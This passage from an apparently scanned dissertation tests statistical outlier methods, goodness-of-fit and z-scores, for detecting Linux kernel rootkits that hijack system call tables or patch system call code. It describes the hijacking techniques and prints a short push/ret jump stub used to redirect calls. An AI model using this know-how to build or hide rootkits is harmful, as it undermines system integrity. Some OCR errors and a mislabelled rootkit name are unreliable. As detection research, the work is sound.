this finding.

Table 5.5: results of Sebek 2.4 experiment

System AD-Score
Clean 5.228
Modified 108.929

ModiFfications Removed 4.971

Just as in experiment two, as the modified system call addresses are removed one
by one, the Anderson-Darling goodness of fit score slowly improves, but does not show a
dramatic or significant improvement until the final outlier is removed. Once again, this
finding emphasizes the concept of complete detection, which further shows that even if a

rootkit attacks only a single system call table address it can be successfully detected.
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Additionally, if there existed a catalog of rootkits based on the number of system call
table attacks, rootkits could possibly be identified based on this metric. Figure 5.4,

below, further illustrates this finding. Again, it is possible to detect all modified system

call addresses.
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In experiment four, the Sebek data capture toolkit 2.6 was installed on the same
test system, a 32-bit Intel computer, but in this instance running Linux kernel version
2.6.8. This is especially interesting, in that Linux Kernel Module rootkits are most
prevalent among the 2.4 kernels. This is an unusual opportunity to use the general
distribution model to detect the system call table modifcation attack against the 2.6
kernel.

First, it must be determined which distribution best fits the data in the 2.6 kernel

system call table. Table 5.6, below, illustrates that the distribution of system call
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addresses within the 2.6 kernel system call table fit the largest extreme value distribution
best, with an Anderson-Darling goodness-of-fit score of 7.322. Recall that the best fitting
distribution for the system calls in the system call table in kernel version 2.4 is largest
extreme value. This is very good evidence that the distribution of system call addresses
in the system call table fit the same distribution across kernel versions and within the
same architecture.

Table 5.6: system call table for kernel 2.6

Distribution AD-Score
Largest Extreme Value 7.322

3-Parameter Gamma 8.57

3-Parameter Lognormal 10.491
Lognormal 10.51

Normal 10.511
3-Parameter Loglogistic 10.734
Logistic 10.739
Loglogistic 10.742
3-Parameter Weibull 43.484
Weibull 43.642
Smallest Extreme Value 43.652
2-Parameter Exponential 79.622
Exponential 130.255

After Sebek 2.6 is installed on the test system, the goodness-of-fit score for the
Largest Extreme Value distribution changes from 7.322 on the clean system, to a much
worse score of 122.115 — a change of approximately 1667%. After these modified
system call addresses are removed from the system call table, the goodness-of-fit score
for the largest extreme value distribution returns to 8.031, within 09% of the original
score. Table 5.7 illustrates that this result is very similar to the previous three

experiments.
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Table 5.7: results of sebek 2.6 experiment

System AD-Score
Clean 7.322
Modified 122.115

Modifications Removed 8.031

Just as in all of the previous experiments in this category, as the modified system

call addresses are removed one by one, the Anderson-Darling goodness-of-fit score

slowly improves, and shows a dramatic improvement when the final outlier is removed.

This is a similar result to all previous experiments in this category, and further

strengthens the cases that complete detection and identification is possible. Figure 5.5,

below, illustrates further.
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Figure 5.5: Anderson-Darling score vs. outliers

The general distribution model appears to work very well for the detection of

Linux Kernel Module rootkits. In each of four experiments, the model was able to
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completely detect the presence of a Linux Kernel Module rootkit (or programs that mimic
the behavior of this class of rootkit) which had modified the system call table.
Additionally, there now exists evidence that suggests that the system call table of
different kernel versions of Linux may fit the same distribution within the same
architecture. This is an important and promising finding, an unexpected result of
analyzing the Sebek honeypot software on both the 2.4 and 2.6 Linux kernels. One
drawback of this approach (although now lessened) is the necessity of having at least
some generalized a priori knowledge about the system or class of systems under
observation — that is, knowledge of which distribution the system call table for these
classes of systems fits the best. Since the system call tables of the Linux 2.4 and 2.6
kernels both fit the largest extreme value distribution within the Intel 32-bit architecture,
it may indeed be possible to successfully group systems by operating system and

architecture type, omitting kernel or operating system version.
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CHAPTER VI

DETECTING SYSTEM CALL TABLE MODIFICATION ATTACKS USING
NORMAL DISTRIBUTION MODELS

As discussed in the previous chapter, most system call tables are not normally
distributed. However, if a normal distribution of system calls may be assumed, this can
greatly simplify the task of rootkit detection. This assumption of normality can be tested
on any given system, even if the system has been infected by a kernel rootkit. Section 6.1
contains a review of definitions and a modified formal model, and section 6.2 presents a
few brief comments on hardware platforms. Section 6.3 discusses the normality of the
system call table in uninfected systems, and systems infected by a variety of different
rootkits, and section 6.4 briefly discusses the discordancy test used in this approach.
Section 6.5 makes a careful examination of the experimental results, and section 6.6

includes a summary and conclusions from this approach.

6.1 Definitions and Formal Model

Most of the definitions mentioned in this section have been previously defined in
Section 5.1. Specifically, the definitions of an outlier and discordancy test have not
changed. The definition of a kernel rootkit has similarly remain unchanged, and the

formal model presented in Section 5.1 still holds with significant modifications. Since
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the formal model has changed, some of the information presented in Section 5.1 will be
reviewed again here for clarity.

Recall that a kernel rootkit is defined as some program p,, which imitates a subset
of operating system functionality known as program p;. Therefore, p; is a subset of p,.
The functionality that exists in p,, but not ps, is the additional functionality provided by
the kernel rootkit in order to maintain control of compromised systems, attack other
systems, destroy evidence, and decrease the chance of the attacker being detected by the
authorities. More formally, the kernel rootkit functionality is expressed as p, —p1 =p’
[14].

The core difference in this approach is the absence of the necessity to have
statistical information about the properties of an uninfected system. This being true, the
elements of the formal model that define the properties of an uninfected system may be

discarded. The elements that may be discarded are:

s; = M;(p;) — system call addresses in clean kernel (6.1)
s2 = M(p;) — system call addresses in clean system call table (6.2)
D, = t(s;) — Discordancy score of system call addresses in clean kernel (6.3)
D, = t(s;) — Discordancy score of addresses in clean system call table (6.4)

Having discarded half of the elements from the original formal model, the new
formal model is smaller, more elegant, and requires significantly less a priori knowledge

about the system under study. The only remaining elements in the formal model are the

following:
s;" = M;(p,) — system call addresses in infected kernel (6.5)
52’ = M>(p,) — system call addresses in infected system call table (6.6)
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D;’ = t(s;’) — Discordancy score of system call addresses in infected kernel (6.7)
D,’ = t(s,’) — Discordancy score of addresses in infected system call table (6.8)

In this case, the discordancy test t is the z-score. The z-score is simply the
number of standard deviations away from the mean for a particular value x, and is
represented by z = (x — X )/o.

First, it will be shown that the values in the system call table are normal enough to
allow the successful application of this particular test. Second, the z-scores for the values
in the system call table will be calculated and the entries with a z-score greater than or
equal to three have obviously been modified by the deployment of a kernel rootkit. This
approach has the added benefit of quickly and easily identifying which specific system
calls have been modified by the rootkit, and offers the promise of not only detecting
rookits but identifying (or at least classifying) the specific rootkit which has been
deployed.

The formal model for this approach is simple, elegant, and straightforward. Once
again, the infected values in the system call table will be on the far right side of the

distribution — if the values have been ordered.

6.2 Hardware Platforms

In the general distribution model discussed in Chapter 5, it is imperative that the
goodness of fit scores be similar, at least, across differing kernel versions and
architectures. In this approach, such similarity is much less important.

All that is necessary in this case is a very modest assumption of normality. This

assumption can be tested beforehand, and if it holds, the rootkit detection process can
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begin. This preliminary normality testing can be performed, regardless of whether a

kernel rootkit infection has occurred.

6.3 Normality of Data

The following tables show the goodness of fit scores for 32 bit Intel architecture
kernel versions 2.4.27 and 2.6.8 that are uninfected. Additional tables show the goodness
of fit scores for the 32 bit Intel architecture kernel version 2.4.27 infected with the rkit
and knark kernel rootkits as well as the sebek 2.4 honeypot package; the 32 bit Intel
Architecutre Kernel version 2.6.8 infected with the sebek honeypot package; and the
uninfected SPARC architecture kernel version 2.4.27.

Even a cursory examination of this data shows that, with kernel rootkit infection,
there are dramatic changes in the best and worst fitting distributions for a given kernel
version. In fact, this is the premise upon which the earlier work in this research is based.
However, it may also be noted that in each case, the normal distribution seems to be “in
the middle’ of the goodness of fit scores in each of these four scenarios. This suggests
that the normal distribution may be a suitable basis for a discordancy test, as it appears to
be an adequate (although not the best) fit for kernels infected or uninfected with kernel
rootkits. The following seven tables (6.1 through 6.7) show that the Normal distribution
is neither the worst, nor the best, fitting distribution for any operating system/architecture

pair investigated thus far.
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Table 6.1: system call table for uninfected 1A32 kernel 2.4.27

Distribution AD-Score
Largest Extreme Value 5.228
3-Parameter Gamma 6.244
3-Parameter Loglogistic 7.357
Logistic 7.361
Loglogistic 7.364
Lognormal 7.495
Normal 7.495
3-Parameter Lognormal 7.512
3-Parameter Weibull 11.949
Smallest Extreme Value 11.958
Weibull 11.982
2-Parameter Exponential 82.486
Exponential 116.040

Table 6.2: system call table for infected (rkit) 1A32 kernel 2.4.27

Distribution AD-Score
3-Parameter Lognormal 32.996
3-Parameter Loglogistic 77.965
Loglogistic 85.243
Logistic 85.653
3-Parameter Gamma 87.275
Lognormal 95.354
Gamma 95.370
Normal 95.400
Weibull 97.158
Smallest Extreme Value 97.169
Largest Extreme Value 98.079
Exponential 115.452
2-Parameter Exponential 374.231
3-Parameter Weibull 12542 .668

Table 6.3: system call table for infected (knark) 1A32 kernel 2.4.27

Distribution AD-Score
3-Parameter Lognormal 66.450
3-Parameter Weibull 75.427
Weibull 88.036
Smallest Extreme Value 88.043
3-Parameter Loglogistic 91.508
Loglogistic 92.379
Logistic 92.425
Lognormal 92.708
Normal 92.723
Gamma 92.749
3-Parameter Gamma 94.014
Largest Extreme Value 108.379
Exponential 114 ._461

2-Parameter Exponential 683.836
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Table 6.4: system call table for infected (sebek 2.4) 1A32 kernel 2.4.27

Distribution AD-Score
3-Parameter Loglogistic 31.639
3-Parameter Lognormal 66.074
3-Parameter Weibull 88.924
Weibull 88.938
Smallest Extreme Value 88.944
Loglogistic 92.789
Logistic 92.837
Lognormal 93.271
Normal 93.285
Gamma 93.308
3-Parameter Gamma 95.074
Largest Extreme Value 108.929
Exponential 114.582

2-Parameter Exponential 677.189

Table 6.5: system call table for uninfected 1A32 2.6.8 kernel

Distribution AD-Score
Largest Extreme Value 7.322
3-Parameter Gamma 8.57
3-Parameter Lognormal 10.491
Lognormal 10.51
Normal 10.511
3-Parameter Loglogistic 10.734
Logistic 10.739
Loglogistic 10.742
3-Parameter Weibull 43.484
Weibull 43.642
Smallest Extreme Value 43.652
2-Parameter Exponential 79.622
Exponential 130.255

Table 6.6: system call table for infected (sebek 2.6) 1A32 2.6.8 kernel

Distribution AD-Score
3-Parameter Lognormal 64.053
3-Parameter Loglogistic 87.141
3-Parameter Weibull 101.058
Weibull 101.089
Smal lest Extreme Value 101.1

Loglogistic 104.191
Logistic 104.279
3-Parameter Gamma 104.446
Lognormal 105.469
Normal 105.493
Gamma 105.506
Largest Extreme Value 122.115
Exponential 129.252
2-Parameter Exponential 739.273
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Table 6.7: system call table for uninfected SPARC kernel 2.4.27

Distribution AD-Score
Loglogistic 10.596
Largest Extreme Value 11.631
Logistic 11.760
Lognormal 19.104
Gamma 20.411
Normal 23.273
3-Parameter Gamma 25.861
3-Parameter Weibull 31.932
3-Parameter Loglogistic 33.908
Weibull 35.818
3-Parameter Lognormal 36.736

Smallest Extreme Value 40.587
2-Parameter Exponential 52.937
Exponential 101.512

A promising discordancy test that relies upon an underlying assumption of
normality is the z-score. The z-score is derived by subtracting an individual score from
the population mean and dividing the difference by the population standard deviation.
The resulting z-score is a measure of how far a given score is from the mean, in standard
deviations. For obvious reasons, this will be an excellent measure of outlyingness. A

more thorough discussion of the z-score will be presented in the following section.

6.4 Statistical Methods

The z-score is also known as a standard score or normal score in statistics. Itisa
dimensionless quality, that is, it has no physical units and is therefore a pure number [53].
The quantity z represents the distance between any given score and the population mean,
and as such is an excellent candidate for a discordancy test to be used in outlier detection.

An important distinction is that the calculation of the z-score requires the
population mean and population standard deviation, not a sample mean and sample
standard deviation. This requires knowledge of the population parameters, not the

properties of a sample drawn from a larger population [53].
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Why choose the z-score as a discordancy test in the use of outlier detection for
rootkit analysis? The score itself has many properties that lend itself well to the purpose.
First, the data used in this research is univariate — memory addresses — and the more
complex outlier tests designed for large, multivariate datasets are not appropriate.
Second, memory addresses in any given computer system are finite and known.
Therefore, knowledge of the population mean and population standard deviation are
known. Finally, the best fitting distribution(s) for any given Kernel/architecture
combination is dramatically changed by a kernel rootkit infection. However, the normal
distribution seems to be “in the middle’ for goodness of fit, independent of whether the
system has been infected with a Kernel rootkit. This suggests that a discordancy test
based on an underlying assumption of normality may be an effective test for outlier

detection in either scenario — an uninfected, or infected, system.

6.5 Experimental Results

Before any analysis of outliers that relies on an underlying assumption of
normality can be made, the data (the system calls present in the system call table) must be
analyzed for normality. Fortunately, the system call table addresses represent the entire
population and not merely a sample.

Before any of the normality based detection techniques in this research may be
applied to any given computer system, that system must pass a ‘preliminary normality
test’. This ‘preliminary normality test’ must be passed regardless of whether the subject

system has been infected with a kernel rootkit. The concept for, and specific
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implementation of, the preliminary normality test will be developed in this section after
the examination of several specific cases.

First, the assumption of normality model will be applied to two systems that have
not been infected by kernel rootkits. The first system, a SPARC architecture, and the
second system, and 1A32 system, are both Linux kernel version 2.4.27. The expected
result is that neither system will have significant outliers among the system call table
addresses — that is, no system call table address that lies outside three standard deviations

from the mean, and preferably not outside one standard deviation from the mean.

6.5.1 Uninfected 1A32/2.4.27 Kernel

In table 6.1, observe the rank of the normal distribution in the overall ranking of
goodness of fit scores for this dataset. The normal distribution is a very close fitting
distribution, with a score of 7.495, in a range between 5.228 and 116.040.

It will be shown that this is sufficient in order to successfully employ a normality
based discordancy test. Furthermore, it will also later be shown that the normality
requirement necessary for these tests is quite loose.

Having established that the data passes the preliminary normality test, the next
step is to calculated the z-scores for each memory address in the system call table, and
more closely examine those addresses that are significant outliers (those addresses more
than three standard deviations from the mean).

The 252 memory addresses in the system call table for 1A32 Linux kernel version
2.4.27 have z-scores ranging from -1.35146 standard deviations below the mean, to

1.47928 standard deviations above the mean. This confirms the expectation that an
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uninfected system has no outlying memory address in the system call table and all
memory addresses are easily within three standard deviations from the mean, and as such

none of them are considered outliers.

6.5.2 Uninfected SPARC/2.4.27 Kernel

In table 6.2, once again observe the rank of the normal distribution in the overall
ranking of goodness of fit scores for this dataset. The normal distribution is, as expected,
a very close fitting distribution, with a score of 23.273, in a range between 11.631 and
101.512.

This should also be a sufficient normality score in order to successfully employ a
normality based discordancy test. In fact, the overall rank of the normal distribution
among the other distributions is better than in the previous experiment. If the result of
this experiment is as expected, the normality requirement will be further lessened.

Calculating the z-scores for the system call table in a SPARC architecture kernel
version 2.4.27 system, the observations range between -0.84669 standard deviations
below the mean up to 3.60707 standard deviations above the mean. This is a worrisome
result because z-scores of greater than three are generally considered to be outliers. In
fact, there are fifteen memory addresses in the system call table that lie outside three
standard deviations from the mean.

In an uninfected SPARC architecture Kernel version 2.4.27 system, there are
fifteen outliers that may appear to be caused by rootkit infection, and this finding
threatens the validity of the model. However, there is still hope. In the event that the

rootkit infections in the following sections generate extreme outliers, that is, outliers with
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z-scores in excess of four, ten, fifteen or even more standard deviations from the mean,

the model may still hold.

6.5.3 Uninfected 1A32/2.6.8 Kernel

Table 6.5 shows that the system call table for an uninfected 32-bit Intel
architecture 2.6.8 kernel once again fits the normal distribution very closely, with a
Anderson-Darling goodness of fit score of 10.511, in a range between 8.57 and 130.255.
This seems to be a good enough score to perform the z-score test, until the uninfected
system call is analyzed for the presence of outliers.

In the uninfected system, the 284 entries in the system call table have z-scores
raning from -1.29596 standard deviations below the mean, up to 9.44081 standard
deviations above the mean. There exists a single natural outlier with a z-score of

9.44081. If not for this entry, the z-scores would range between -1.29596 and 1.69834.

6.5.4 Implications On Analysis

An investigation of the basic statistical properties on the three preceding
uninfected systems indicates that normality based analysis of the system call table is
certainly possible on a 32-bit Intel architecture Linux 2.4.27 kernel, questionable for a
64-bit SPARC architecutre Linux 2.4.27 kernel, and not possible for a 32-bit Intel
architecture Linux 2.6.8 kernel. The implicatons of this finding are that: there is
variability in the statistical properties of system call tables, even within the same
architecture but across kernel versions; a favorable score on some measure of normality

does not guarantee the absence of outliers; and, some general a priori knowledge about
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the basic statistical properties of broad classes of operating system/architecture pairs

would be helpful.

6.5.5 RKkit Infected 1A32/2.4.27 Kernel

Recall that Table 6.2 presents the Anderson-Darling goodness of fit scores for
several different distributions of the 32-bit Intel Architecture Linux Kernel 2.4.27 rkit-
infected system call table. Specifically, the normal distribution — the basis for this test —
received an AD score of 95.400 within an overall range between 32.996 (3-parameter
lognormal) and 12542.668 (3-parameter weibull).

In an uninfected system of this type, the normal distribution received an AD score
of 7.495 within an overall range between 5.228 (largest extreme value distribution) and
116.040 (exponential distribution). Relying on an underlying assumption of normality
(which may not be wise), an analysis will now be conducted to detect the presence of the
rkit Linux Kernel Module rootkit.

As previously mentioned in Section 6.4.1, the 252 memory addresses in the
system call table for IA32 Linux kernel version 2.4.27 have z-scores ranging between
1.35146 standard deviations below the mean, to 1.47928 standard deviations above the
mean. This re-confirms the expectation that an uninfected system of this type has no
obvious outliers in the system call table — all of the system call table entries are easily
within three standard deviations from the mean, so none of them are considered to be
outliers.

Recall that rkit 1.01 attacks only one location in the kernel — the sys_setuid entry

in the system call table. After the kernel is once again infected with the rkit 1.01 LKM
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rootkit, the normality test is re-applied. Now all of the entries in the system call table lie
between -0.0709 standard devations below the mean and 0.0028 standard deviations
above the mean, with one exception. One entry in the infected system call table,
sys_setuid, lies at 15.9058 standard deviations above the mean. Clearly this is an obvious
outlier at approximately sixteen standard deviations above the mean, since the usual
requirement for an outliers is three or more standard deviations from the mean.
Sys_setuid is indeed the single system call entry attacked by rkit 1.01 and it is clearly

detected by the normality test.

6.5.6 Knark Infected 1A32/2.4.27 Kernel

Unlike the rkit 1.01 LKM Rootkit, the knark 2.4.3 LKM rootkit attacks nine
different locations in the system call table. When the normality test is applied, that is,
When z-scores for each entry are calculated these nine locations are immediately flagged
as outliers.

All non-infected locations fall well within the three standard deviation limit and
can be excluded as outliers. The nine infected locations in the system call table, however,
each receive z-scores ranging between 5.18580 and 5.18585 standard deviations above
the mean. These entries can be obviously be considered outliers and as such, victims of

Knark 2.4.3 LKM rootkit infection.

6.5.7 Sebek 2.4 Infected 1A32/2.4.27 Kernel

Similar to the knark 2.4.3 LKM Rootkit, sebek 2.4 attacks eight different

locations in the system call table. When the normality test is once again applied, that is,
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When z-scores for each entry are calculated these eight locations are also flagged as
outliers.

Just as with the preceding rootkits, all non-infected locations fall well within the
three standard deviation limit and can also be excluded as outliers. The eight infected
locations in the system call table, however, each receive z-scores ranging between
5.51149 and 5.51151 standard deviations above the mean. These entries can be
obviously be considered outliers and as such, victims of knark 2.4.3 LKM rootkit

infection.

6.5.8 Sebek 2.6 Infected 1A32/2.6.8 Kernel

Recall that Table 6.6 presents the Anderson-Darling goodness of fit scores for
several different distributions of the 32-bit Intel architecture Linux kernel 2.6.8 sebek 2.6
infected system call table. Specifically, the normal distribution — the basis for this test —
received an AD score of 105.493 within an overall range between 87.141 (3-parameter
loglogistic) and 739.273 (3-parameter exponential).

In an uninfected system of this type, the normal distribution received an AD score
of 10.511 within an overall range between 8.57 (3-parameter gamma) and 130.255
(exponential distribution). Relying on an underlying assumption of normality (which
may not be wise), an analysis will now be conducted to detect the presence of the sebek
2.6 honeypot/Linux Kernel Module Rootkit.

Table 6.5 shows that the system call table for an uninfected 32-bit Intel
architecture 2.6.8 Kernel fits the normal distribution very closely, with a Anderson-

Darling goodness of fit score of 10.511, in a range between 8.57 and 130.255. This
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seems to be a good enough score to perform the z-score test, until the uninfected system
call is analyzed for the presence of outliers.

The uninfected system call of the 32-bit Intel architecture Linux 2.6.8 kernel
yields one clear outlier — one system call entry with a z-score of 9.44081 standard
deviations above the mean. This finding shows that this normality based test is not
appropriate for all operating system/architecture pairs. This finding only shows,
however, that the test is susceptible to false positives. Note, however, that the percentage
of false positives is a very small 0.35%. The test will be applied in this case nevertheless,
to determine if the test is still capable of detecting the rootkit — that is, the test may still
be valuable if a method can be found to address the problem of false positives. A second
discordancy test may prove useful for further testing in order to reduce or eliminate the
false positives.

Sebek 2.6, similar to sebek 2.4, attacks eight different locations in the system call
table. When this honeypot/rootkit is applied, and the z-score test is applied, all eight of
these attack locations are flagged as outliers. The eight outliers have z-scores ranging
between 5.86328099021 and 5.86328623365 standard deviations above the mean.
Clearly, the z-score test succeeds in detecting the sebek 2.6 honeypot/rootkit. This test,
therefore, suffers from false positives but not false negatives. If a way could be found to

address the problem of false positives, this test may yet have detection value.

6.6 Conclusions

Detecting the system call table modification attack using the ‘assumption of

normality’ model has been only partially successful. This approach has been successful
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in detecting rootkits on a Linux 2.4.27 kernel/32-bit Intel architecture system. In this
configuration, detection was completely successful and there were no false positives or
false negatives.

However, in other configurations, including the Linux 2.6.8/32-bit Intel and Linux
2.4.27/SPARC Architectures, this model suffers from false positives. The reason for this
lies in the fact that both of these configurations contain natural outliers in the system call
table, that is, the uninfected system call table in both configurations contain entries that
lie more than three standard deviatons from the mean.

Experiments have shown that this method is still effective at detecting rootkits on
systems that are known to be infected. If some alternative method can be found to show
that a system is not infected, this method may be employed to show that a system is
infected. Itis possible that this method may still be useful in the future, if combined with
another approach that can eliminate the false positives. Finally, it is clear that the
assumption of normality does not hold, at least for distributions of Linux system call
tables across various architectures. At best, this assumption may be shown to hold in a
few instances. In a later chapter, the normality assumption and approaches will be seen

to work very well for another class of operating systems.
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CHAPTER VII

DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING

GENERAL DISTRIBUTION MODELS

This chapter examines the possibility of using general distribution models to
detect the system call target modification attack employed by runtime kernel patching
rootkits. In sections 7.1 and 7.2, a review of definitions and a formal model are
presented. Section 7.3 includes a brief discussion of hardware platforms covered in this
research, as well as an explanation of the absence of the SPARC architecture from this
particular technique. Section 7.4 offers an analysis of the statisitcal properties of the data
used in this technique — the memory addresses from the disassembled conditional and
unconditional jump instructions located in the kernel, while section 7.5 presents an
analysis of the statistical methods used in the interpretation of the data. Section 7.6
includes the presentation and analysis of the experimental results, and section 7.7 finishes

the chapter with conclusions.

7.1 Definitions
In this chapter, the definitions of an outlier, discordancy test, and kernel rootkit

have not changed from the original definitions presented in Chapter 5. Kernel rootkits
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attack the operating system by modifying system call memory addresses. Recall that this

is accomplished in the following ways [14]:

System call table modification — Changes the addresses of the system calls in the system

call table to point to similar, but malicious, system calls located much higher in memory.

System call table redirection — Modifies the system call handler, changing the address of

the system call table to a similar, but malicious system call table much higher in memory.

System call target modification — Directly modifies the system call instructions (via

runtime kernel patching), inserting a jump instruction to a location much higher in

memory which contains a similar, but malicious, system call.

The work in this chapter focuses on detecting rootkits of the two latter types —
system call redirection, and system call target modifications. Note that system call table
redirection is simply a special case of the system call target modification attack, in that
the system call table event handler itself becomes the victim of system call target
modification.

Linux Kernel Module rootkits typically employ the less sophisticated system call
table modification attack, which has been examined in the preceding two chapters. A
more sophisticated rootkit known as a runtime kernel patching rootkit actually modifies
the running kernel in /dev/mem or /dev/kmem and changes not the system call table,

but the system calls themselves.
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Experience has shown that this is accomplished by overwriting the first few
instructions of a system call with a jump instruction to some location very high in
memory, containing the complete code for a similar malicious system call. Now, instead
of being interested in memory addresses located only in the system call table, the
detection effort will be focused on all jump instructions within the kernel, and sets of
instructions that may mimick a jump instruction. Specifically, the operands of these
instructions, memory addresses, are of particular interest.

How may this attack be detected? Chapter 3 details methods of rootkit operation,
and one may observe this attack simply by disassembling the kernel, or specific system
calls, and reading the instructions. From an automated or statistical standpoint this attack
may be detected by disassembling the entire kernel, and collecting the operands (memory
addresses) found in the conditional and unconditional jump instructions located in the
disassembled kernel code. Attackers typically use the simplest method possible,

usually an attack resembling

push  $0xd087bf65
ret

or
jmp  $0xd087bf65

This simple attack is more than sufficient to subvert the kernel, assuming that a
suitable malicious, replacement system call has been deployed much higher in memory.
However, there are many different conditional and unconditional jump instructions for
any given architecture. Theoretically, an attacker may use any conceivable combination
of jump instructions to alter the code of any given set of system calls. It is therefore

important to consider all jJump instructions in the analysis. The conditional and
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unconditional jump instructions for the 32-bit Intel architecture are presented in tables 7.1
and 7.2.
Table 7.1: conditional jump instructions for the 32-bit Intel architecture

Instruction Description

JA jump if above

JAE jump if above or equal
JB jump if below

JBE jump if below or equal
JC jump if carry

JCXZ jump if CX register is 0
JE jump if equal

JG jump if greater

JGE jump if greater or equal
JL jump if lower

JLE jump if lower or equal
JNA jump if not above
JNAE jump if not above or equal
JNB jump if not below
JNBE jump if not below or equal
JNC jump if not carry

JNE jump if not equal

JNG jump if not greater
JNGE jump if not greater or equal
JNL jump if not less

JNLE jump if not less or equal
JNO jump if not overflow
JNP jump if not parity

JNS jump if not sign

JNZ jump if not zero

JO jump if overflow

JP jump if parity

JPE jump if parity even

JPO jump if parity odd

JS jump if sign

JZ jump if zero

Table 7.2: unconditional jump instructions for the 32-bit Intel architecture
Instruction  Description

IMP Jump
PUSH, RET Push, Return
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7.2: Formal Model

Recall that memory addresses for normal kernel system calls are represented as
M (py) for all system calls, and M>(py) for the subset of system calls in the system call
table. Since the operands of all conditional and unconditional jJump instructions are being
analyzed for outliers, interest will be focused on M;(p1), that is, memory addresses for all
system calls. Since the entire kernel is being analyzed for the system call modification
attack, Mi(p1) now represents all of the operands — memory addresses — from the
disassembled conditional and unconditional jump instructions from the running kernel.

Memory addresses for system calls modified by rootkit functionality will be
represented as M;(p,) for all system calls, and M,(p>) for the subset of system calls in the
system call table. Again, M;(p,) is of particular interest because the entire kernel is being
analyzed, not merely the system call table.

Recall that this new framework for detecting kernel rootkits through outlier
analysis includes several key features. First, it is again necessary to understand the
underlying distribution of system call addresses, at least on a general level. This includes
two interrelated groups of system call addresses: all system call addresses in the kernel,
or s1; and system call addresses only in the system call table, or s,. Therefore, s, is a
subset of s;. Since the entire kernel is being analyzed, only s is of interest.

Second, s1 will best fit some known distribution with a discordancy test score of
D;. However, this knowledge will be general, obtained by experimentation with many
different operating system/architecture pairs. If a kernel rootkit is present, s; will be
transformed to s; “and D; and will be transformed into some less well fitting values D, .

Finally, one discordancy test 7 will be selected to test for the presence of outliers. In this
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case, the chosen discordancy test is the Anderson-Darling goodness of fit test. This

model may be formalized as follows:

s; = M;(p;) — memory addresses in uninfected system call table (7.1)
s;’ = M;(p,) — memory addresses in infected system call table (7.2)
D; = t(s;) — discordancy test of uninfected system call table (7.3)
D;’ = t(s;’) — discordancy test of infected system call table (7.4)

Note that s; is derived from general knowledge in that it is obtained from
experimentation across mutliple operating system/architecture pairs, while s, is obtained
from the specific system under study. If D;” > D, then a rootkit has been detected.

If a rootkit has been detected, outliers are removed, one at a time, until the
discordancy test returns to close to the uninfected value of D;. Note that the location of
the outliers is constrained by operating system mechanics, so we know that outliers are
always in the right hand tail of the distribution.

In the following example, Let sy be the largest (right most) system call address in

the kernel.
S1" =8 -8y (7.5)
D, =t(s;’) (7.6)
And again

If D;” > D; then a rootkit has been detected.

Until the kernel rootkit is fully detected — that is, until D;” <= Dj.
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7.3 Hardware Platforms

One important assumption relied upon by the ‘known distribution model’ is that
the distribution of system call addresses be very close across kernel versions and
architectures. This is absolutely necessary if any analysis is to be performed without a
priori knowledge of the specific system under observation. Experiments were conducted
on Linux kernel versions 2.4.27 and 2.6.8 on a 32-bit Intel Architecture test machine to
insure that this assumption is valid. Note that the SPARC architecture is conspicuously
absent from this experiment, and this will be addressed later.

Table 7.3: distribution fits from uninfected 32-bit Intel machine, kernel 2.4.27

Distribution AD-Score
Logistic 17667.781
Smallest Extreme Value 18279.5

3-Parameter Loglogistic 19691.675
3-Parameter Weibull 20236.661
Loglogistic 24531.615
Normal 25127.02

3-Parameter Lognormal 25136.051
Lognormal 25488 .603
Weibull 28756 .302
2-Parameter Exponential 30247.101
Exponential 30247.104

Table 7.4: distribution fits from uninfected 32-bit Intel machine, kernel 2.6.8

Distribution AD-Score
Loglogistic 15883.557
Logistic 16875.174
3-Parameter Loglogistic 17575.839
Normal 25497.186
3-Parameter Lognormal 25554 .644
Lognormal 26270.259
Weibull 28804 .239
Smallest Extreme Value 28845.74
2-Parameter Exponential 32412 .629
Exponential 32419.241
3-Parameter Weibull 3492063.179

Observe that in tables 7.3 and 7.4, while the logistic distribution best fits the
disassembled memory addresses from the 2.4.27 kernel, it was not the best fit for the

memory addresses for the 2.6.8 Kernel used in testing. However, logistic is still a very

84



good fit (a close 2" for the 2.6.8 kernel. While many more observations are necessary
to make claims of goodness-of-fit for the memory addresses for various Linux kernel
versions, this result suggests that this may be possible. Note that this result is similar to
the outcome of the experiments using the general distribution model to detect the system
call table modification attack employed by Linux kernel rootkits.

Earlier it was promised that the exclusion of the SPARC architecture from this
analysis would be adequately explained. In the Intel architecture, jump instructions are
straightforward. For example, a typical unconditional jump instruction for the Intel

architecture may look like this:
Jmp 0xc0104113

On the SPARC architecture, jump instructions are handled very differently.
Note that »s/ is source register 1, rs2 is source register 2, rd is the destination register,
constX is a constant that fits into X bits, expressed in decimal notation, and labelX is a
label that the assembler (and linker) evaluates to a constX instruction.

SPARC jump instructions adhere to the following formats [54]:

Jmpl rsi,rd

Jmpl rsl+rs2,rd
Jmpl rsl+constl3,rd
jmpl rsl-constl3,rd
Jjmpl constl3+rsl,rd
Jmpl constl3,rd

The values of the source and destination registers used in the SPARC jump
instructions are certainly malleable, and do not easily lend themselves to access via
disassembly on a running, or even a static kernel. Therefore, using gdb to disassemble
and collect the operands (memory addresses) of SPARC jump instructions is impossible.

This would need to be accomplished by way of a special mechanism. Specifically, it
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would be necessary to intercept the system calls employing jump instructions, and collect
the runtime values in the registers during execution. This may be possible, but it would
also be necessary to execute every system call in the kernel in order to collect these
addresses. Clearly, this project is not within the scope of this research, and no functional
rootkits employing the system call target modification attack for the SPARC architecture

have been found.

7.4 Normality of Data

Tables 7.3 and 7.4 show the goodness of fit scores for 32 bit Intel Architecture
Kernel versions 2.4.27 and 2.6.8 that are uninfected. Table 7.5 shows the goodness of fit
scores for the 32 bit Intel Architecture Kernel version 2.6.8 infected with the enyelkm
v1.1 rootkit.

Table 7.5: AD-scores from enyelkm v1.1 infected 32-bit Intel kernel 2.6.8

Distribution AD-Score

Logistic 17576.775
3-Parameter Loglogistic 18288.079
Loglogistic 21471.281
3-Parameter Lognormal 27036.452
Normal 27043.837
Lognormal 27335.94

3-Parameter Weibull 29131.015
Weibull 29142 .046
Smallest Extreme Value 29142 .187
2-Parameter Exponential 32830.144
Exponential 32839.034

An examination of this data shows that, with enyelkm v1.1 rootkit infection, there
are measurable but suble changes in the best and worst fitting distributions for a given
kernel version. Earlier work in this research is based upon this fact, but in the preceding
work, the differences in the distributions were more pronounced. In this chapter,

experiments were conducted to determine whether the ‘known distribution model’ is
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sensitive enough detect kernel rootkits that employ the system call target modification
attack.

Just as in previous examples, the normal distribution seems to be ‘in the middle’
of the goodness of fit scores in each of these three scenarios. This suggests that the
normal distribution may be a suitable basis for a discordancy test, as it appears to be an
